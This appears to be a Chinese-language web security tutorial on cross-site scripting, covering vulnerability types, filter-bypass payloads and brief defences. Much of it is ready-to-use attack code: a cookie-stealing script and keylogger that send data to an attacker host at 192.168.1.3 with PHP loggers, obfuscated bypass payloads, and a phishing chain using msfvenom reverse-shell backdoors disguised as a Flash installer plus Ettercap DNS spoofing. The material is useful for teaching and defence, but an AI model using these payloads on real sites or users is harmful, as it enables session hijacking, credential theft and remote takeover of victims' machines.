跳到主要内容

XSS漏洞

XSS漏洞为攻击者能够嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,浏览器渲染整个HTML文档的过程中可导致嵌入的脚本代码被恶意执行,从而达到恶意攻击用户的目的

产生条件

1.可以控制的输入点

2.输入能返回到前端页面上被浏览器当成前端脚本语言解释执行

XSS漏洞危害:

  • 窃取用户Cookie,冒充用户身份进入网站(常见)。
  • 键盘记录,利用键盘相关事件获取输入内容。
  • 客户端信息探查(window.navigator)
  • XSS组合其他漏洞getshell(利用xss漏洞发送漏洞利用payload组合getshell)
  • 劫持用户会话,执行任意操作
  • 劫持浏览器访问其他网站刷流量,执行弹窗广告
  • 传播蠕虫病毒,利用XSS+CSRF漏洞组合对网站发送垃圾数据包

XSS漏洞代码示例:

<?=$_GET['code']?>
<?php echo($_GET['code'])?>

基础

<script>window.document.write(location.hostname);</script>
<script>window.document.write(location.pathname);</script>
<script>window.document.write(location.port);</script>
<script>window.document.write(location.protocol);</script>

默认前端js所有的全局对象、函数、变量都是window对象的属性 location.hostname ==> window.location.hostname

xss平台打cookie是从window.document对象中的cookie属性获取的浏览器页面的cookie信息。(cookie存储于window.document对象中)

<script>
document.cookie="username=admin";
document.write(document.cookie);
document.cookie="username=";
</script>

window.navigator属性

<script> 
txt = "<p>浏览器代号: " + navigator.appCodeName + "</p>";
txt+= "<p>浏览器名称: " + navigator.appName + "</p>";
txt+= "<p>浏览器版本: " + navigator.appVersion + "</p>";
txt+= "<p>启用Cookies: " + navigator.cookieEnabled + "</p>";
txt+= "<p>硬件平台: " + navigator.platform + "</p>"; txt+= "<p>用户代理: " + navigator.userAgent + "</p>";
txt+= "<p>用户代理语言: " + navigator.systemLanguage + "</p>";
document.write(txt);
</script>

XSS漏洞分类

  • 反射型

    常见于url传参直接输出到htm页面中,仅作用当前一次。不存储到文件和数据库中

  • 存储型

    常见于各种个人资料、编辑器、留言等等统一存储到数据库或文件中,作用多次,若未删除可永久有效

  • DOM型

    常见于前端通过document.getElementBy+.innerHTML通过前端js修改页面内容实现XSS漏洞(属于前端漏洞)

反射型XSS

反射型XSS仅作用于当前一次

常见漏洞高危触发点:

  • 搜索框
  • 各种GET传参

常见漏洞代码

<?=$_GET['code']?>

常用POC

1 <script>confirm(1)</script>
2 <script>prompt(1)</script>
3 <script>alert(1)</script>
4 <script>console.log(123)</script>
5 <script>document.write(123)</script>

存储型XSS

存储型XSS输入的内容会保存在数据库或文件中,以后访问都会触发该漏洞

常见漏洞高危触发点

  • 编辑器
  • 留言、评论
  • 个人资料

DOM型XSS

DOM型XSS主要是通过js修改网页内容,未对输入的内容进行过滤导致的XSS漏洞(例如js代码中利用document.getElementxxxx未经过滤调用输入框中的内容,则可以构造js代码中的闭合)

function domxss(){
var str=document.getElementById("text").value;
document.getElementById("dom").innerHTML="<a href='"+str+"'>what do you see?</a>";
//document.getElementById("dom").innerHTML//修改id=do页的元素的内容为<a href='"+str+"'what do you see?</a>";
}

远程加载恶意js文件

cookie.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.1.3/cookie.php?cookie='+encodeURIComponent(document.cookie); //网页访问cookie.php传递cookie信息

cookie.php

<?php
$cookie = $_GET['cookie']; //接收GET传参获取cookie信息
$log = fopen('cookie.txt','a'); //生成获取的cookie信息,a为追加写模式
fwrite($log,$cookie.PHP_EOL);
fclose($log);
?>

网页加载cookie.js文件后会去访问cookie.php并传递当前用户cookie信息

常见事件触发条件

onclick 鼠标点击触发

onmousemove 当鼠标移动就触发

onmouseover 当鼠标移过就触发

onload 当页面加载完成后触发傻

onerror 当页面加载错误时触发

onblur 元素失去焦点时触发

onfocus 元素获取焦点时触发

onchange 表单内容被修改时触发

oninput 当元素获得用户输入时触发

XSS变形与绕过

  • 大小写绕过

    <a sRc='#' OncLick=confirm(/大小写绕过/)>1234</a>
  • 利用单双引号绕过

    ' onblur='confirm(/单引号绕过/)'
  • 左斜杠代替空格

    <img/src='#'/onerror=confirm(/左斜杠代替空格/)>
  • 双写绕过

    <sc<script>ript>alert(1)</s</script>cript>
  • 标签属性值进行html编码(非html实体编码)

    image-20221009171032971

    添加空白符号的html编码进行混淆

    image-20221009170859524

    • 十进制html编码

      <img src='#' onerror=&#97;&#108;&#101;&#114;&#116;(/html编码(十进制)/)>
    • 十六进制html编码

      <img src='#' onerror=&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x72;&#x6d;(/html编码(十六进制)/)>
  • Ascii码转换

    <img src='#' onerror=eval(String.fromCharCode(99,111,110,102,105,114,109,40,47,116,101,110,47,41))>
  • 十六进制转换

    <img src='#' onerror=eval("\x63\x6f\x6e\x66\x69\x72\x6d\x28\x2f\x31\x36\x2f\x29")>
  • Unicode编码

    <img src='#' onerror=eval("\u0063\u006F\u006E\u0066\u0069\u0072\u006D\u0028\u002F\u0075\u006E\u0069\u0063\u006F\u0064\u0065\u002F\u0029")>
  • JSfuck

    在线转换:http://www.jsfuck.com

    <img src='#' onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+ (!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+ []]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+ []]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+ []+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+ []]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+ ([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+ []+!+[]+[+[]]])()>

利用data伪协议

通过伪协议访问页面(输入在URL中)

data://text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

标签内执行data伪协议

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> 
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

XSS绕过总结

在标签内如何执行js

  1. 闭合属性,闭合标签,无法闭合可能进行了htmlencode编码(htmlspecialchars函数)

  2. 利用事件(onload onerror onblur onclick onmouseover onkeypress等)

  3. 特殊属性(src/href/action)

  4. javascript伪协议

利用XSS获取网站键盘记录

log.js

document.onkeypress=function(evt) { //onkeypress是按下键盘按键的事件 
evt=evt || window.event //三目运算符,为了让js代码兼容更多的浏览器
key=String.fromCharCode(evt.charCode) //处理键码值兼容性问题
if(key) {
var http=new XMLHttpRequest(); //XMLHttpRequest(),js用来发起网络请求
var param=encodeURI(key); //进行编码
http.open("POST","http://192.168.1.3/log.php",true); //以POST方法打开链接
http.setRequestHeader("Content-type","application/x-www-form- urlencoded");
http.send("key="+param); //发送请求
}
}

log.php

<?php 
$key=$_POST['key']; // key是从log.js中提交的数据
$logfile='result.txt'; //生成键盘记录的文件
$fp=fopen($logfile,"a"); //打开文件,a是追加写模式
fwrite($fp,$key); //fwrite写入
fclose($fp);
?>

使网站加载log.js文件将cookie带出,接着利用log.php保存cookie信息

利用XSS钓鱼攻击

  1. 在攻击机上放置flash.js

  2. 利用网站插入payload

  3. 生成后门并将后门进行伪装

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.172.129 1port=4444 -f exe -o rev.exe
# -p:指定攻击载荷payload lhost=攻击机的IP地址 lport=攻击机开放的端口 -f:生成远控的格式 -o:保存的文件名
msfconsole # 启动msf
msf6> handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp #exploit/multi/handler 快捷使用监听模块
# -H:指定监听的IP地址0.0.0.0默认监听所有网卡的IP地址 -P:指定监听的端口监听的端口要与生成的端口一致 -p:指定监听的攻击载荷payload要与生成的payload一致
msf6> sessions #查看上线的会话session
msf6> sessionid id号 #进入会话
  1. 后门伪装(利用winrar压缩成自解压exe文件)

  2. 选中flashplayer安装包和远控shell.exe,添加至压缩文件

  3. 利用Ettercap进行内网欺骗(ARP+DNS)

ettercap -G # -G:web界面启动
  1. 修改/etc/ettercap/etter.dns修改要通过dns欺骗跳转的IP地址
*   A   192.168.x.x
* PTR 192.168.x.x
# 利用dns欺骗将所有非https域名跳转到192.168.x.x

XSS常用平台

安全性不确定

https://xss.pt

https://xssaq.com

https://xss8.cc

XSS漏洞防御

  1. 使用XSS Filter XSS Filter 的作用是过滤用用户(客户端)提交的有害信息,从而达到防范XSS 攻击的效果
  2. 输入过滤 "永远不要相信用户的输入",对于用户输入一定要过滤
  3. 输入验证 对用户提交的信息进行有效验证(是否仅包含合法字符、字符串长度限制、输入是否符合特殊的格式要 求等等)
  4. 输出编码(htmlspecialchars函数)